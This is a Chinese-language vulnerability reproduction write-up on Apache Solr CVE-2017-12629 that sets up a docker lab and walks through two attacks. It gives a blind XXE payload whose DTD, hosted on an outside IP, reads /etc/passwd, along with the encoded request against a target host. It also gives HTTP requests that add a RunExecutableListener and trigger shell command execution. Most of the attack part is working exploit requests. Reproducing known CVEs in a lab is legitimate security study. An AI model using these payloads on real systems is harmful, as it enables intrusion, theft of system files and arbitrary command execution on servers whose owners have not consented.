企業安全01-Apache solr XML實體注入漏洞CVE-2017-12629
阿新 • • 發佈:2020-11-29
Apache solr XML 實體注入漏洞CVE-2017-12629
一、簡介
Apache Solr 是一個開源的搜尋伺服器。Solr 使用 Java 語言開發,主要基於 HTTP 和 Apache Lucene 實現。原理大致是文件通過Http利用XML加到一個搜尋集合中。查詢該集合也是通過 http收到一個XML/JSON響應來實現。此次7.1.0之前版本總共爆出兩個漏洞:XML實體擴充套件漏洞(XXE)和遠端命令執行漏洞(RCE),二者可以連線成利用鏈,編號均為CVE-2017-12629。
二、環境搭建
執行漏洞環境:
docker-compose up -d
三、漏洞復現
由於返回包中不包含我們傳入的XML中的資訊,所以這是一個Blind XXE漏洞,我們傳送如下資料包(自行修改其中的XXE Payload):
do.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
請求包(需要編碼):
GET /solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f47.104.70.161%2fdo.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1 Host: 8.210.152.234:8983 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7 Connection: close
四、命令執行
先建立一個listener,其中設定exe的值為我們想執行的命令,args的值是命令引數
POST /solr/demo/config HTTP/1.1 Host:your-ip Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 158 {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
然後進行update操作,觸發剛才新增的listener:
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
進入容器檢視建立成功